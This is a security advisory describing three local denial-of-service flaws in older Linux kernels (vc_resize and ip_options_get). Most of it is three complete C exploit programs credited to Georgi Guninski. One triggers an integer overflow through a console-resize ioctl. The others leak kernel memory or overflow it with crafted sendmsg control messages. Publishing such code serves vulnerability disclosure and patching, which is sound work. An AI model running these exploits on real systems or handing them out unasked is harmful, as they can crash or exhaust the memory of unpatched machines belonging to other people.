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Linux Kernel Multiple Local DoS (vc_resize, ip_options_get)
------------------------------------------------------------------------
SUMMARY
Three vulnerabilities have been found in the Linux Kernel, an integer
overflow in the vc_resize function, a memory leak in ip_options_get and an
integer overflow in ip_options_get. The vulnerabilities can at the very
least be used to cause a denial of service, in one case you can use it to
reveal arbitrary segments of the memory.
DETAILS
Vulnerable Systems:
* Linux kernel version 2.6 up to 2.6.9 (inclusive)
* Linux kernel version 2.4 up to 2.4.28 (inclusive)
Exploit (vc_resize):
/* vc_resize int overflow
* Copyright Georgi Guninski
* Cannot be used in vulnerability databases
* */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <linux/vt.h>
#include <sys/vt.h>
#include <sys/ioctl.h>
#include <string.h>
#include <unistd.h>
int main(int ac, char **av)
{
int fd;
struct vt_consize vv;
int cou=4242;
fd=open("/dev/tty",O_RDWR);
if (fd<0) {perror("open");return -42;}
memset(&vv,0,sizeof(vv));
vv.v_clin=0;
vv.v_vcol=0;
vv.v_ccol=0;
/* magic values, overflow on i386*/
vv.v_rows=65535;
vv.v_cols=32769;
system("sync");
if (ioctl(fd,VT_RESIZEX,&vv) < 0) {perror("ioctl");return -4242;}
while(cou--) printf(";)\n");
close(fd);
return 42;
}
Exploit (ip_options_get):
/* memory leak
* Copyright Georgi Guninski
* Cannot be used in vulnerability databases (like securityfocus and
mitre)
* */
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <ctype.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(int ac,char **av)
{
struct msghdr msghdr;
struct iovec iovector[10];
int i,s,j,ma;
struct sockaddr_in sockad;
char msg[128];
struct cmsghdr *cmsg,*cm2;
char opts[24];
ma=250;
printf("just wait and watch memory usage\n");
memset(opts,0,sizeof(opts));
while(42)
{
s=socket(PF_INET, /*SOCK_STREAM*/ SOCK_DGRAM, 0);
sockad.sin_family = AF_INET;
sockad.sin_addr.s_addr=inet_addr("127.0.0.1");
sockad.sin_port=htons(8080);
connect(s,(struct sockaddr *) &sockad, sizeof(sockad));
memset(msg,'v',sizeof(msg));
#define VV (ma*(sizeof(struct cmsghdr)+sizeof(opts))+1024*1024)
cmsg = malloc(VV);
memset(cmsg,0,VV);
cmsg->cmsg_len = sizeof(struct cmsghdr) + sizeof(opts);
cmsg->cmsg_level = SOL_IP;
cmsg->cmsg_type = IP_RETOPTS;
memcpy(CMSG_DATA(cmsg), opts, sizeof(opts));
cm2= (struct cmsghdr *) (long) ((char *)CMSG_DATA(cmsg)+sizeof(opts));
for(j=0;j<ma;j++)
{
cm2->cmsg_level = SOL_IP;
cm2->cmsg_type = IP_RETOPTS;
cm2->cmsg_len = sizeof(struct cmsghdr) + sizeof(opts);
cm2= (struct cmsghdr *) (long) ((char *)CMSG_DATA(cm2)+sizeof(opts));
}
cm2->cmsg_level = SOL_IP;
cm2->cmsg_type = IP_RETOPTS;
cm2->cmsg_len = sizeof(struct cmsghdr) + 8;
msghdr.msg_name = &sockad;
msghdr.msg_namelen = sizeof(sockad);
msghdr.msg_control=cmsg;
msghdr.msg_controllen= cmsg->cmsg_len + (j)*cmsg->cmsg_len+cm2->cmsg_len;
msghdr.msg_iov = iovector;
msghdr.msg_iovlen = 1;
iovector[0].iov_base = msg;
iovector[0].iov_len = sizeof(msg);
if ((i = sendmsg(s, &msghdr, 0)) < 0)
{perror("sendmsg");return -42;}
close(s);
free(cmsg);
}
return 42;
}
/* int overflow in ip_options_get
* Copyright Georgi Guninski
* Cannot be used in vulnerability databases (like securityfocus and
mitre)
* */
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <ctype.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(int ac,char **av)
{
struct msghdr msghdr;
struct iovec iovector[10];
int i,s;
struct sockaddr_in sockad;
char msg[128];
struct cmsghdr *cmsg,*cm2;
char opts[12];
s=socket(PF_INET, /*SOCK_STREAM*/ SOCK_DGRAM, 0);
sockad.sin_family = AF_INET;
sockad.sin_addr.s_addr=inet_addr("127.0.0.1");
sockad.sin_port=htons(8080);
connect(s,(struct sockaddr *) &sockad, sizeof(sockad));
memset(msg,'v',sizeof(msg));
memset(opts,0,sizeof(opts));
#define VV 1024*1024
cmsg = malloc(VV);
memset(cmsg,0,VV);
cmsg->cmsg_len = sizeof(struct cmsghdr) + sizeof(opts);
cmsg->cmsg_level = SOL_IP;
cmsg->cmsg_type = IP_RETOPTS;
memcpy(CMSG_DATA(cmsg), opts, sizeof(opts));
cm2= (struct cmsghdr *) (long) ((char *)CMSG_DATA(cmsg)+sizeof(opts));
cm2->cmsg_level = SOL_IP;
cm2->cmsg_type = IP_RETOPTS;
cm2->cmsg_len = -1;
msghdr.msg_name = &sockad;
msghdr.msg_namelen = sizeof(sockad);
msghdr.msg_control=cmsg;
msghdr.msg_controllen= cmsg->cmsg_len + 420;
msghdr.msg_iov = iovector;
msghdr.msg_iovlen = 1;
iovector[0].iov_base = msg;
iovector[0].iov_len = sizeof(msg);
system("sync");
if ((i = sendmsg(s, &msghdr, 0)) < 0)
perror("sendmsg");
return 42;
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:guninski@guninski.com>
Georgi Guninski.
The original article can be found at:
<http://www.guninski.com/where_do_you_want_billg_to_go_today_2.html>
http://www.guninski.com/where_do_you_want_billg_to_go_today_2.html
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